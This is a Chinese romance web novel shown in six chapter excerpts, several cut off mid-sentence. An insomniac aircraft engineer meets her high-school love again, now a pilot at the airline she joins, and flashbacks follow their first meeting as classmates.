《浪漫双行星》
1. Chap.01
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第1章Chao.01重逢
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没有不期而遇，对我来说是如约而至。
——蒋弋。
冀北某医院。
“颅内MRI左侧半卵脑白质脱髓改变，T2序列……嗯，简单来说，这不是你头痛的主要原因。”
苏韫放下片子，“这种现象多出现于老年人，英子，你才26岁，听我一句劝：多思伤脑。”
隋英靠在躺椅上，眼下一弯青晕，皮肤过分透白，几乎能看清楚皮肤下的毛细血管，听到检查结果，没什么情绪。
末了，伸手拿起桌上水杯，冲服了几片药，重新躺下。
“我下午门诊，下了班去帮你拿药，”苏韫看着时间，“英子，你不能老靠药物入睡。”
“韫韫，”隋英忽然开口，声调平淡，说起另一件事，“我工作上有调整。”
“你没日没夜工作三年，早该升工程师。”苏韫头也没回，说的理所当然。
见她要走，隋英起身去拉窗帘，“有别家公司直接给我航空工程师职位，我还没决定。…不在冀北。”
苏韫将外套挂到衣柜里，换上白大褂，别工作证的手一顿，楞了下才开口，“好事呀，要不是因为你有留学计划，迟早要走，我早劝你离开冀北了。”
“南航公司。”
“什么？”苏韫先是吃惊，随即高兴地惊呼：“那不是你最初的梦想吗。…英子，去吧，换个环境，对你的病有好处。”
苏韫抱着隋英，“虽然好舍不得你，但是我更希望你好。”
“最初的梦想……是什么？”呢喃着这句话，在药物的作用下迷迷糊糊睡着。
……
“我要上南航，当飞行员。”
“我要飞上蓝天，俯瞰大地。”
“我要自由。”
“我还要……”
暴躁的铃声似铁锈撞击声穿透耳膜，隋英捂着几欲跳出胸膛的心脏翻身，伸手去拿手机，光线不足，视觉问题将手机打翻在地。
铃声突然断了，应该是挂断。
隋英后背一阵沁凉，缓缓舒了口气，脑海里还是挥之不去的梦境——彩绘的教室、奔跑的操场、白蓝相间的校服。
光怪陆离的热血画面。
叮铃一声短信音拉回思绪。
隋英捡起手机，裂开一道缝隙的屏幕上出现一行信息：【我这个月生活费怎么还没打给我】
质问的语气撕裂屏幕，让人生厌。
看了眼时间，竟连续睡了两个小时，隋英心里有些高兴，将手机放桌上，这时刚才的铃声又响起，瞥了眼来电，不紧不慢到洗手间戴好隐形眼镜，整理一番。
等了半天电梯，好不容易到她这层，还是满员。
隋英没耐心继续等，循着指示牌，苏韫在三楼门诊坐诊，她决定去她那里拿单子自己去拿药。
医院门诊楼层永远都是吵吵嚷嚷，人满为患的，哪怕是楼道。
蓦然，楼梯扶手拐角处一抹熟悉的身影。
隋英大脑空白，行为下意识跟着出了楼梯。
人潮人海的过道犹如波涛汹涌的海洋，她只是随浪飘零的浮萍，自动屏蔽着喧嚣人声与电子播报音。
极速向前的轮椅、拿着检查单横冲直撞的人群减缓了她跟随的脚步。
蒋弋，七年了。
仅仅一个背影就让她视线模糊，隋英没想到再次见到他是在人满为患的医院。
很多年前的雪夜，少年灿如星子的眸光牢牢定格在她身上，那个慌乱痴缠醉人的吻仿佛就在昨日。
忽然，B超检查叫“顾柔嘉”的名字，隋英条件反射站定，视线掠过息壤人头，慌乱寻找，并没有看到顾柔嘉的身影。
这个名字……总是蒋弋的后缀。
七年前是，七年后还是。
隋英猝然惊醒，再也没有了上前的勇气。
抬眸穿越人群，望向走廊尽头高大熟悉的身影。
他握着手机在打电话，似有感应般猛地抬头，隋英已经下意识转身，躲在廊柱后。
七年前，蒋弋凉薄的眉眼，决绝的背影，似与眼前的人影重叠。
隋英的心一凛一凛的，好久都没有感受到心痛了，丝丝缕缕的，竟有点迷恋。
“麻烦让一下。”身后有人出声，隋英立刻让开。
顷刻恢复镇定，下意识朝走廊尽头望去。
他那么出众，站在人群里永远耀眼夺目，只一眼，她便确定他已离开，又循着B超检查室的方向望去。
“英子？”苏韫提着一包药，“我正要给你打电话，看什么呢。”
隋英错眼瞥向走廊上的电子钟表，眼风掠过椅子上等待的患者，“门诊这么快结束？”
“今天我们科室四位主任、一位权威坐诊，我就比较清闲，”苏韫笑笑，“你的药。”
隋英接过，苏韫没松手，“英子，你真的不能再靠药物睡眠了，我认识治疗失眠症，”
不待说完，诊室门口有患者，她立刻赶过去。
隋英不自觉又望向走廊尽头，仿佛刚才只是幻觉。
三楼没必要等电梯，隋英提着药走楼梯下到一楼大厅，有个提着饭盒的大妈脚下一滑，她顺手扶住，只是可惜饭盒里的小米粥都洒了。
一半还倒在她衣襟上。
大妈有些不好意思地道歉，隋英只说没关系，便去洗手间清理衣服。
小米粥黏答答的，她只能脱掉外套用水清洗，忽然感觉身后有人，抬头从镜中看到顾柔嘉错愕的表情。
隋英也愣住。
她想礼貌地打个招呼，然后给她留下一个优雅的背影，事实上她已经开口，“hi，好久不见。”
顾柔嘉嗫嚅着嘴唇，挤出个僵硬的笑脸，“好久不见…没想到你在冀北。”
隋英抽了几张纸，吸了吸衣襟水分，点头示意准备离开，顾柔嘉意外阻拦她。。
“隋英，”顾柔嘉视线极快地往外瞥了下，又落到她提的药上，“你怎么在医院？生病了？”
以七年前顾柔嘉对她说的那些话，再见面打招呼是礼貌。
问病因是不礼貌。
交情不到位，隋英神情淡淡，没有回答的意思。
“呃…他在外面，”顾柔嘉转着手上的戒指，一副胜利者的大度姿态，“不去打个招呼吗？”
七年未见，应该有各自的生活，顾柔嘉还是能轻易击中她。
隋英进退两难，她害怕见面，可她明明想见。
旋即转首，鼻子酸涩，她竟连见一面的勇气都没了。
“好啊，”隋英笑着穿上外套，假意对着镜子整理衣服，“老同学见面，要是你们时间充裕，我可以请你们吃饭。”
“…我们就快走了，晚上的飞机，明早正好能赶上苏黎世的日出。…等会还要去做检查，我妇科上有些问题。”
顾柔嘉说话比七年前委
2. Chap.02
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“我没醉，我不想醒。”
——隋英。
隋英比苏韫更晚到餐厅。
“怎么这么慢？”苏韫给她拉开椅子，“老三样，有要加的吗。”
“找停车位费了点时间，”隋英脱掉湿外套，“加个冰啤，谢谢。”
她没提在车上坐了很久。
服务员拿走菜单，苏韫挑眉，“你不是不喝酒吗，”话音未落，却见隋英点了根烟，“受什么刺激了？”
隋英置若未闻，靠在椅背上，直到菜都上齐，她才开口，“我决定接受南航公司邀请。也许七年前的决定根本就是错的。”
“很少见你有多余的情绪啊，说说。”
“我见他了，”隋英将烟摁灭，她始终习惯不了烟味，“他们。”
“他们？哦，你是说蒋弋也在医院？”苏韫瞬间了然，睇了眼隋英，“我去帮你拿药的时候看到顾柔嘉，都是老同学，就打了个招呼。”
苏韫乜了她一眼，“呵，果然只有蒋弋才能刺激到你的情绪。”
隋英凝视着苏韫，“对，他也在，陪着她。”
“你是因为他？还是因为他们？…英子，七年了，你还没放下？”苏韫叹气，“你们这种死心眼的人真是受罪。”
“那你呢？”隋英摘下眼镜，眯着眼睛喝着冰啤酒。
苏韫也开了瓶冰啤酒，跟着灌了几口，眼里渐渐有了湿意，“我也死心眼。”
两人喝了一打啤酒。
苏韫酒量酒品都不太行，不知道突然发什么疯，站起来拉着经过包厢门口的男子骂了句“狗男人”，还叫人家滚，又拽着不撒手。
隋英半眯着眼睛站起来，这个狗男人怎么长的像蒋弋？
一定是因为今天在医院见到了他，出现的幻觉。
等等，还有顾柔嘉。
不会吧，他们两个吃完医院食堂又来这打卡？
这家店的确是附近有名的美食店。
此时，三个人挤在门口，连同门框一起慢慢地横过去。
伴随着脑袋撞击瓷砖，疼痛感让她反应过来，她跌倒了。
横七竖八的重影，汨汨仄仄压近，在她瞳孔里放大、交叠、旋转、扭曲……
重影里有熟悉又陌生的眼眸、风流的鼻背、一张一合的嘴，好像不在一张脸上。
隋英闭上眼睛，双眼视力差导致她视物会出现扭曲，双耳听力差以及头晕会让她失去平衡。
蒋弋，是你吗？
这个样子，不要见你。
“韫韫……”隋英挣扎着，伸手抓着桌沿试图站起。
突然一只有力的手臂捞起她，似乎带着压制的怒意。
“隋英。”
随之，身体腾空而起，摇摇晃晃的，熟悉又陌生的声音在叫她的名字，仿佛在天边，又在耳畔。
隋英大脑异常清醒，她知道是他。
浅淡的男士香水味很陌生，不是她记忆里少年身上热烈又明媚的青荇草味。
怅然滑过心头，随之想到他还抱着她，不能让他看出异常，隋英索性闭着眼睛装醉。
“韫韫……”只能靠摸索找苏韫，想让她拿一下眼镜，这番举动落在顾柔嘉眼里，却是她勾着蒋弋脖颈一通摩挲。
蒋弋寒着一张脸，手臂箍紧，带着惩罚的意味。
隋英吃痛，想挣扎，又不确定醉了的人知不知道疼，只能将脸埋进臂弯里，嘴里呢喃着“韫韫”。
“去医院。”
“喝醉了没必要去医院。”顾柔嘉去看苏韫。
苏韫果然上道，双手撑着门框，“谁也别想走。”全然一副一夫当关万夫莫开的架势。
这才是醉了的模样，隋英闭着眼睛想。
那她是不是也应该发个疯？
“韫韫……救我，我快……淹死了。”隋英发誓，绝不睁眼，古有掩耳盗铃，今有闭眼丢人。
社死了算了。
“放开那个女的，让我来。”苏韫听到呼唤，跳上椅子，居高临下命令蒋弋。
七年后再见，兵荒马乱，狼狈不堪，相见不如怀念。
果然，蒋弋不是什么好脾气地主，直接松开隋英。
“韫韫，我看不见了，我瞎了，”听懂了吗，拿眼镜啊，她一睁眼身体就会失去平衡，“韫韫，我瞎了……”
苏韫双眼失焦又聚焦，然后学着隋英的模样，眯着眼睛学悟空找八戒。
顾柔嘉真特么想强拉着蒋弋赶紧离开。
指望不上苏韫，隋英扶着桌沿摸索眼镜，……顺手放桌上，应该就在这啊，怎么找不到呢？
“小心。”
一道低沉略带焦急的声音突然在背后响起。
“啊，嘶。”隋英摸到砂锅被烫，下意识睁眼，“呼呼”吹了半天，手更疼了，就是眼前有四五只手，不在一个平面上。
只能感觉到手腕被一只手略微粗粝地手握着，触感很陌生。
顾柔嘉现在相信隋英是真的醉了，因为她对着蒋弋的手在吹气。
猝然，冰凉的液体倒在手背上，灼烫的痛感瞬间减轻，隋英伸手握住冰凉的啤酒瓶，“韫韫，这是你的水瓶座。”
“在哪在哪？快把我装进去。”
隋英：赞。
顾柔嘉有意隔开蒋弋，她扶着隋英坐好，“蒋弋，你去买解酒药。”
……
“等着。”
蒋弋收回手，下意识搓了下，语调淡淡，却带着不容置疑的压迫感。
终于走了，隋英也不用装醉了，她又不在乎顾柔嘉，也无所谓她看到她的异样。
隋英捂着左眼，慢慢睁开右眼，适应了一下，视线扫过桌子，落在椅子底下，她迅速蹲下去捡眼镜。
身体还是因为失去平衡撞在桌角上。
“韫韫，”隋英戴上眼镜，
3. Chap.03
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我没想过你是梦想的延续。
——隋英
南渝的天气潮热多雨，隋英踩着细雨走过南渝航天大学的操场。
静静看着飞机坪上挥汗如雨的准飞行员们，她曾经也为梦想努力训练过，以为可以飞上蓝天，却……
“这位同学哪个班的，怎么没去上课？”
威严的声音从身后传来，隋英霍然转身，急忙走下台阶，“林教授好。”
“你好同学，”林教授打量着隋英，“我是不是在哪见过你？”
隋英解释，“我是冀北航校程教授的学生，您来过我们学校做过演讲，我向您提过问题。”
林教授点点头，看着女孩的背影，总觉得在别的地方见过。
一周后，隋英正式入职南航，公司为隋英及另外两位新入职的同事办欢迎宴。
换了条黄金年代复古风氛围及膝裙，重新化妆，散开微卷长发，隋英自己都呆了，随即给苏韫打去视频。
电话秒接通，苏韫先是一愣，随即“哇哇”叫着让她退后转圈，换个光线更好的地方，“宝宝，南渝的风水果然养美人，快让我亲亲，木马。”
“这两天休息好吗？”隋英比了个“二”，意思是睡了两个小时，苏韫还在絮叨，“工作怎么样适应吗住的地方找好了吗有没有帅哥……”
“会不会太隆重？”
苏韫截屏保存，“新同事欢迎宴就是正式场合，你这套正装一定能大杀四方。”
看着时间，隋英拿钥匙换鞋，苏韫惊讶，“你买车了？我还没帮你卖出去呢。”
“公司配的，韫韫，怎么样？我的前途值得期待吧。”
隋英期待着光明前途，殊不知前面有个惊天巨坑在等着她。
欢迎宴其实就是新老同事坐一起吃吃喝喝，相互认识一下。
隋英到的有些迟，刚到酒吧，众人齐刷刷看向她，现场安静了不少，只有一桌还在嬉笑打闹。
离的近的男同事毫不掩饰眼里的惊艳，隋英却怔楞在原地。
蒋弋，他怎么在这？
老同事起身招呼她坐，隋英才回神，礼貌地与新同事寒暄。
心境早已没了来时的期待。
今天是南航公司为新同事办的欢迎宴，来的都是同事，难道蒋弋接手南航董事？
之所以这么说，是因为上学那会，有同学调侃过她：“英子，你想当飞行员，可以让弋哥给你走个后门，他家在南航公司有股份”。
南航公司有一半人才都是南渝航天大学的，她的梦想是南渝航天，就有同学拿这个说事。
当时的隋英年少，少年自尊心使她从未想过去问过蒋弋真假，却轻而易举中计。
一阵嬉笑声，有人起哄，让蒋弋与新来的同事碰杯。
其他两位工程师都是年上成家的稳重男，很自然地去蒋弋握手碰杯，还能寒暄两句“手表不错”“拜读过您的论文”之类的职场客套话。
其实大家想看的是蒋弋与隋英。
隋英从见到蒋弋的那一刻，就已经在自我洗脑：我装醉没见过他，上次见面还是七年前，老同学而已。
还是装作陌生人吧。
旋即，隋英微笑着举杯，说着“请多多关照”万年不变的职场新人开场白。
男人似乎已经喝多了，唇角挂着散漫的笑意，修长的指尖握着红酒杯，与她轻轻碰杯，眼睛却一瞬不瞬地盯着她，似乎要将她看穿。
隋英眼热，眸光游移向下，在他鼻尖的位置，避开灼灼目光，维持基本礼貌。
仰头喝酒时，他依旧盯着她看，周围噗噗嗤嗤地嬉笑声，还有不太友好的目光。
隋英假装没看见，稍稍偏头准备赶紧喝完这杯酒。
玻璃杯刚刚碰到嘴唇，就有一只略微粗粝的手握住她手腕，似乎还摩挲了下，隋英一激灵，酒杯已经被蒋弋拿走。
“嚯嚯……”
已经有人鼓掌吹口哨起哄。
隋英不明所以，不知所措，心早乱了。
蒋弋已经将她杯中酒倒入自己杯中，只给她留一小口，递还给她，一笑，“我替你。”说着一饮而尽。
顶着一张恣睢俊邪的脸，身边围坐的女生犹如狂蜂浪蝶，嘻嘻哈哈地与他玩游戏。
隋英目光时不时投向最热闹的那一桌，同事看着她的眼神了然，“他王牌飞行员，也是出了名的浪荡子，你这么漂亮，可千万别受他蛊惑。”
“他是飞行员？”隋英惊呼，随即觉得自己反应太过，忙端起酒杯一饮而尽。
“南航毕业，直接招进来的。”
另一个同事立刻补充，“特招，很牛。”
两个词涵盖很多内容。
隋英消化着一个又一个信息，机械地与周围同事碰杯，满脑子都是他为什么会上南航？
“隋英，你要考南航？老子就上北航。”
初始互相不对付，甚至是死对头，少年得知她的梦想是南渝航天大学后，嚣张地放下狠话。
后来，他们因为高考志愿激烈地争吵，直至冷战。
他从来没说过他要报考南航，她只记得他说过，他要上北航，和，出国留学。
在冀北航校没有找到他，隋英就一直以为他按部就班地出国留学了。
呵，蒋弋居然上了南航。
看着他又换了一桌，坐下时在妹子后脑勺变出一支玫瑰，烂俗的魔术，她这么远的距离都能看到穿帮，可见是一点也不用心。
妹妹显然很喜欢，捂着嘴激动地快要哭出来了。
隋英漠然。
他以前又拽又傲，追他女生很多，没见他对谁上过心，直到那个冬日的雪夜，他带着她跑到体育馆。
踏上白茫茫的天台，墨
4. Chap.04
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隋英和蒋弋的相识，其实要追溯到九年前。
烈日当空，蝉鸣声沿着愧树枝蔓与教室里共振声同频。
“最新消息，外面那个，是转我们班的插班生，还是从辖区高中转上来的。”
“高二转学？都开学一周了，肯定有关系。”
“有关系就能随便进？只有一种人能进我们河道二中——学霸。”
“那弋哥算哪种？”
“你是不是不想混了。”
……
隋英背着书包，站在空旷的过道里，听着从嗡嗡默书声中漏出的议论，她后知后觉地想，同学应该是在议论自己。
班主任临时有事，让她先到高二七班教室，已经打铃，没老师带，她不敢主动进教室。
所幸没等太久。
班主任与物理老师一起到教室，刚刚在老师办公室见过。
可是这节课是自习课呀，她在老师办公室里抄了课程表。
班主任走上讲台，威严地挥手，教室顿时安静。
她侧过脸示意，隋英走进教室，“这位隋英同学是转到咱们班的，以后大家要照顾好新同学。隋英，你先坐蒋弋后面，蒋弋，蒋弋。！”
隋英顺着班主任一指，靠走廊最后一排有个空座位，而前面的男生在睡觉。
他前面的同学用后背撞课桌，男生枕着手臂，脸上还盖着卷子，只能看到利落的下颌线，皮肤很白。
听到动静，男生才悠悠抬起头，试卷随之滑落。
嚣张，实在嚣张。
“站起来，”班主任显然气到了，敲着讲桌，“上课睡觉，昨晚干嘛去了。”
蒋弋站起来，似乎还在醒神，很没诚意地道歉，“对不起老师。”
“你坐下，你回座位，”班主任连带对隋英说话都加重了语气，末了又安抚道：“隋英，放学后到办公室领校服，有什么事跟我说，上课吧。”
这种快节奏的教学方式让隋英觉得安心，不用自我介绍，迎接众人目光。
班主任走后，物理老师走上讲台，和蔼可亲地说道：“把昨天的物理试卷拿出来，讲题。”
教室里一阵呜咽，有同学趁乱呜呼，“老师，这节课是自习课呀。”
“对呀对呀要补作业，下节课才是物理课。”
老师不为所动，“试卷有点多，两节课才能讲得完。”
靠走廊这一排是单人座，隋英沉默地拿出物理书，有些不知所措，老师似乎也忘了她没试卷。
已经开始忘我地讲题。
隋英听着题型准确翻到知识点，在笔记本上记着重点。
桌上忽然被丢了纸团，隋英一惊，偏头看着与她隔了过道的男同学，顺着他视线抬头。
这才发现前桌男生靠着墙，侧坐在椅子上，修长白净手还搭在她课桌上，指尖似无意敲着桌沿，正用一种……无法形容的眼神盯着她看。
目光直白且不知收敛。
隋英瞬间脸红，心想二中的学生都这么嚣张吗，可以如此直勾勾地盯着女同学看吗？
还是在课堂上。
眼尾余光挑了眼讲台上沉浸式讲题的老师，他没往这看。
隋英稍安心。
用询问地目光睇了眼男生，听到过道那边细碎的笑声，她大概明白了，他们笑她没试卷还这么认真做笔记
——装相。
隋英有些无辜，正不知所措时，前排男生将自己的试卷丢她桌上，然后转过去继续睡觉。
粉笔敲击黑板的声音：“……送分题，举一下手，我看谁没做对。”
老师逡巡了一圈教室，看到蒋弋又趴下，重重咳了几声，“个别同学，注意课堂纪律。”
个别同学撑起脑袋，刚好将隋英挡住。
她唇角弯了弯，这才知道“蒋弋”对应的是哪两个字，“弋”字的斜勾横出线框，一点戳破试卷。
试卷空了一大半。
只做了选择题和最后一道实验探究题，填空题和作图题全空着。
隋英视力非常好，坐在最后一排也能清楚看到黑板，凭着记忆力和黑板上丢笔撂点的粉笔字，她极快改出错题。
选择题只错了一道。
听说河道二中都是学神，高考一本录取率超过90%，除了出国留学和个别天菜，本科能全员上岸。
不知道蒋弋属于哪种。
课间十分钟隋英头也没抬，忙忙碌碌将正确答案解题过程等写在试卷上，还要给自己做笔记，还要在课本上做记号。
她发现河道二中的课程进度比之前的学校快了整整四个章节。
就在她忙的满头大汗时，给她丢纸条的男生凑过来，“你给弋哥改卷子啊？”
隋英不明所以，抬眼看着蒋弋拿着一瓶矿泉水走进教室，身后还跟着物理老师，其他同学迅速回座位。
他还不紧不慢地拧开瓶盖喝了一口。
坐下时余光瞥了眼已经被写的密密麻麻的试卷，皱了皱眉，似乎很不爽。
这节课老师讲完试卷，剩五分钟下课时，假兮兮地说余下的时间补偿上节占用的自习课。
然后拿着教案在唏唏嘘嘘声中心满意足地离开。
隋英来回倒腾课本，根据试卷内容标记知识点。
从小到大第一次感觉到学习压力。
教室里除了叽叽喳喳讨论试卷之外，好些同学都很好奇隋英这位插班生，一小撮同学甚至聚集在她周围。
丢她纸条的男生盯着试卷上红彤彤的“47”分，圆圆的眼珠子十分灵活地转着，“同学，我叫鲁骏，鲁莽的鲁，骏马的骏，你叫什么？之前没听清。”
“隋英。”她忙合上书，指着封皮上写的名字。
鲁骏笑眯眯地看着她，“隋英同学，你好勇。”
隋英：“……”
半晌后，她从周围同学的眼神里明白了鲁骏的意思。
这个蒋弋大概是问题学生，最后一道大题能拿满分，却不做试卷，上课睡觉，肯定不好惹。
考47分应该很丢脸，隋英很认真地将试卷折好，“蒋弋同学，谢谢你的试卷，错题……”
终于有同学憋不住爆笑出声，哄闹声与蒋弋考47分火速蔓延全班，隋英有种始作俑者的心虚感。
上学第一天就得罪看上去很不好惹的同学，她怕是有段时间不好过了。
插班生就这点不好，要先经历孤立才能融入。
“隋英，你们学校是不是还没学到机械能守恒定律？”
隋英老老实实点头，还没意识到“你们学校”四个字是下意识地排斥。
“那你为什么要转我们学校？不怕跟不上进度？”
为什么？
隋英眨眼，当然是因为河道二中的教学质量全市第一，“这几章我都有预习，应该能跟上。”
“那你在你们学校一定是第一名喽？。”
对。
隋英很想点头，不过谦虚是美德，她想了下说道：“也不固定。”
同学像是听到天大的笑话，惊呼道：“那你怎么能转进我们河道二中？”
怎么转？当然是河道二中捞人，之前的学校其实没那么想放人，但她想来。
要不然河道二中的升学率为什么是全是第一。
还不是到处挖好学生。
全市，整个初升高，首选河道二中，其次，才是其他高中，所以河道二中是拔了尖子中的尖子。
至于高二转学，的确是个例。
去年有个走关系的插班生，因为跟不上二中学习进度被劝回了原先的学校，结果受不了打击离家出走。
当时都传到周边辖区初高中学校了。
“隋英从小到大都是第一。”这时靠操场那一排有个女生站起来，冲她眨眨眼。
“…韫韫…”小学同学苏韫，变化有点大，得到肯定，隋英瞬间有种找到亲人的感觉。
苏韫越过数排座椅，“你刚进教室我就认出你了，看你埋头苦读一直没打搅你。”
“你们两个是同学？”
苏韫揽着隋英肩膀，“小学同学，初中我家搬家了，就没在一起上学。真好，英子，我们又成同学了，哦，马上就成同桌了。”
“我查到了隋英的成绩了，”鲁骏举着手机，“哇哦，每门都是第一，这个成绩在咱们学校能稳坐前十。”
苏韫得意地挑眉，“英子一直都是学霸。”
“胖头鱼，你不知道试卷不同吗，乡下地方的第一名在我们学校能维持中游就算不错
5. Chap.05
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下午放学，苏韫陪着隋英去领校服。
一眼看过去，老师办公室外站着一排高个男生，隋英就认识蒋弋，好像有一个是敲窗户叫他打篮球的那个男生。
她目不斜视，喊报告进了办公室。
“隋英，下午的物理课能跟上吗？苏韫，正好你多帮一下新同学。隋英这是你的校服，你知道今天布置的作业吗？一定要按时交，特别要注意学校纪律，手机坚决不许带到学校……”
班主任语速很快，手上还在批改作业。
隋英一直在点头，张口准备说话，再点头中循环切换，没有出声的机会。
“回教室吧。哦对了，你是走读？你家离的有点远，老师还是建议你住校，跟你家长商量一下，高中的时间一分钟都不能浪费，去吧。”
隋英点头，离开办公室时瞥见桌子底下瘪气的篮球。
直到出了教务处大楼，隋英才敢大喘气，“班主任……那几个男生，”一时间不知道先说哪个，还是先捡紧要的问，“韫韫，你是住校吗？”
“对，我们宿舍刚好还空了一个床位，你赶紧申请。”
隋英点头，“我回家说一下。”
“看到了吗，篮球噗……瘪了。”苏韫眉飞色舞，“肯定是教导主任去操场抓回来的，幸亏今天作业多，鲁骏几个胆小没去，要不然班主任又要发脾气。”
“班主任她说话，”隋英不知道该怎么形容。
“一直都这样，”苏韫神情了然，“你以后不管受表扬还是受批评，别说话就对了，要不然会没完没了。”
两人在食堂吃过饭，一起到校门口书店买资料。
一进门，苏韫扫荡式选了资料、题库、各类练习册。
一眨眼，高高两摞，隋英都没看清。
一算账，要五百多块。
“…韫韫，我之前就听说河道二中新建了一座全市最大的图书馆，这些资料图书馆都有吧。”
苏韫还在垫着脚尖拿最上面一层的《教材划重点》。
“对啊，有钱人捐的，去年建成，资料肯定有，不过不方便，还是买一套吧，”终于拿到资料，苏韫掸掸灰，“别担心没地方放，你没看到连窗台上都摞满了资料嘛。”
隋英抿了下唇，“这些都是老师要求的吗？”
“没有啊，…呃，这两本，数学老师经常讲解上面的习题。”
“那我就买这两本，再加上这几本卷子，回去刷题，其他的我还是去图书馆借阅吧。”
隋英拿好卷子，掏出几张零钱，苏韫后知后觉发现问题，“英子，我给你买。”
“不行。”
书店老板见两个小姑娘挑了两摞书，以为是大生意，结果只要几本，脸色顿时有些不好，收钱时埋怨，“没钱翻这么乱。”
隋英瞬间脸红，囊中羞涩的小女生根本不会应对这种局面。
“我们都要了。”苏韫经不起激，梗着脖大声开口，隋英只能死死拉着她手臂，老板也停下等苏韫掏钱。
霍然，一只骨节分明地手从老板手里拿走隋英递上的零钱。
逆着夕阳，居高临下，瘦高少年兜头罩着她，直到零钱回到手里，隋英才看清楚是蒋弋。
姿态闲散，漫不经心，也没往她脸上看。
老板脸色很不好，见一群男生，也不愿惹这种血气方刚的青少年，只用鄙夷地眼神继续激将两个女生。
苏韫刚刚是强撑，现在有男同学撑腰，底气瞬间足了。
“英子，走，我们去隔壁买。”
隋英指了指被她们翻乱的书，两人一对眼神，立刻放回原处。
一个高高的男生轻轻一跳，从顶着天花板的架子上拿下篮球，“弋哥，这个怎么样？”
是那几个罚站的男生，估计罚站结束，又来买篮球。
《教材划重点》是苏韫从最高一层拿的，拿的时候很费劲，放是没法放回去的，隋英比她稍微高点，可也没法平整地放回去。
正准备厚着脸皮去拿不远处的凳子，资料被抽走。
这次隋英看的很清楚，那只手，指骨匀称，掌骨分明，随着高抬动作，手臂线条明晰，似乎还有青荇草的味道，是经过阳光暴晒过的那种。
感觉肩膀被带动的衣服擦到，她稍稍往旁边偏了点，下意识侧首，眼睛平视过去的位置是他微仰的下巴，清晰的下颌线，凸起的喉结，锁骨……
隋英猛地回头，鼻尖险些擦到书架。
《教材划重点》顺手放回顶层。
蒋弋单手抄兜，姿态随意，做了个偏头的动作，那些男生秒懂，呼啦啦出了书店，拐进隔壁书店。
鲁骏朝她俩招手。
苏韫赶紧拉着隋英跟上，生怕老板骂她们。
“弋哥，头一次见你为女生出头。”高个男生用胳膊肘戳了下蒋弋。
鲁骏听到，回头冲隋英挑眉，有意揶揄，“弋哥，她是你喜欢的类型？”
蒋弋跳起了拿了个黑蓝条纹篮球，示意老板充气，似乎没听到这话。
河道二中的学生说话都这么直接吗？隋英脸皮薄，听到无所顾忌的调侃瞬间脸红，甚至有意避开他们那一排书架。
蒋弋几个买了篮球就离开。
这次，隋英只拿了必须要买的资料，等着苏韫挑文具。
“他们都走了。”苏韫付钱地时候扫了眼书店。
出了书店，隋英才道：“我都付钱了，蒋弋居然还能从老板手里拿走，我真怕老板骂人。”
没见过这种操作，不吐不快。
苏韫勾着她臂弯，“这就是咱们河道二中的传统。”
隋英不明所以，想到蒋弋，河道二中的传统是……嚣张吗？
“护短呀！”
隋英莞尔，又想到了什么，支支吾吾道：“韫韫，那个，书店的事你别说出去。”
“我明白，正好我有好多题库没做，我们在本子上做完后一起对答案。”
“……可以。”其实她想说的是蒋弋帮她出头的事，现下不知道怎么开口。
经过操场时，那些男生果然在打篮球，还有三三两两一组，拿着矿泉水的女生在加油。
“英子，明天再办借书卡吧，资料你就先用我的，”苏韫顺着隋英视线瞥了眼操场，“你可别跟蒋弋走太近，小心顾柔嘉给你穿小鞋。”
“你
6. Chap.06
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这周鲁骏换过来，隋英坐外面，苏韫与她隔了过道。
刚换了座位的那会两人还手拉手，难舍难分，果然应了那句：铁打的前后桌，流水的同桌。
蒋弋还是上课睡觉，这倒方便隋英上课看黑板。
这周轮到苏韫做轮值课代表，隋英帮着她将作业收上去，送去教务处，蒋弋依旧不交作业。
“都交了吗？”老师扫了眼作业本。
苏韫违心点头，隋英低着头不敢与老师对视，得到特赦后，两人赶紧离开办公室，隋英小声吐槽，“我还以为河道二中都是学霸。”
“哪里都有问题学生。”
“不过，”苏韫改口，“蒋弋高一第一学期期中期末，第二学期期中都考全校第一。”
听到这话，隋英的表情已经不能用惊愕来形容了。
脑海里浮现出蒋弋上课睡觉的画面，以及崭新的课本。
苏韫接着补充，“期末就考了倒数第一。”
隋英：“……”
就算她再傻，也能听出蒋弋是故意的，要不就是态度问题。
“不过就算人家高考考我们的零头，也是前途远大。你还要去图书馆吗？”
隋英每天都去图书馆，浩海如烟的知识丰富了她贫瘠的课余生活，也开阔了眼界，常常因此错过上课铃声。
“同学，晚自习铃声响了。”管理员老师巡视了一圈图书馆回来，见隋英还在埋头苦读，忍不住提醒。
“啊？哦，谢谢老师。”
隋英向窗户外看了一眼，校园里已经没有学生，手忙脚乱地收起资料，“老师，这几本书我都借。”
管理员挨个扫过去，“咦，这一本不是我们图书馆的。”
她拿的那本刚好是让隋英忘记时间的《飞行时空》，一本介绍飞行原理和构造知识的入门书籍。
写的却十分有趣，涵盖了超多从云层上俯瞰地球的第一视角描述。
“应该是哪个老师落在这的，”她顺手放在一边，见隋英盯着那本书，便开口，“同学，你才上高二，重点还是放在学习上。”
隋英站着没动。
“这本肯定不能借给你，不过…中间四排，五排2-10区域有飞行员类的书籍，你可以去拿几本。”
隋英立刻走到五排，有一小块都是飞行类的书籍，她蹲下抚摸着书籍，抽|出一本《飞行员航空理论》，出版方是南渝航天大学。
她又拿走了几本介绍飞行员的书，还有去年高考招生简章。
以前只知道考试要考第一名，努力上最好的学校，听人说毕业后可以做医生、老师，还有考公，隋英觉得都可以。
没有明确目标，没有特别喜好。
今晚，她好像找到了方向，拨云见日般确认了理想，心中欢喜雀跃，下楼时连跳了三个台阶，险些与两个男生撞上。
“哎小心，隋英？”鲁骏笑着打招呼，“迟到了哦。”
说着与蒋弋一起上楼。
一个班的，吓唬她迟到，自己却继续优哉游哉往相反的反向去。
隋英加快脚步跑回教室，却被一声娇斥呵止在教室门口。
“站住。铃声都响了十分钟了，你才回教室？”
顾柔嘉起身走上讲台，居高临下睃了眼她怀里抱的书，“图书馆里的书是公共资源，不是你一个人的，天天往图书馆跑，我们二中的资源是你这种，”
“顾柔嘉，图书馆里的书不就是给同学借的吗，这个你也要管。”苏韫听到动静火速冲上战场。
隋英用手挡了挡书封，幸亏她最上面一本是《高考通关10000道题》复习资料，顾柔嘉应该只能看到图书馆的条形码。
顾柔嘉被苏韫怼，又见其他同学个个都盯着看，仿佛威严受到挑衅，斜睨着隋英，“既然迟到，就不能进教室，免得影响其他同学学习。”
“你有毛病吧，谁说迟到就不准进教室？”
隋英也觉得顾柔嘉处处针对她，虽然顾柔嘉每天趾高气昂，但对她比对其他同学更过分。
顾柔嘉轻笑，“班主任定的规矩，迟到了就去外面站着去，今天早上宣布的，你忘了？”
苏韫语塞。
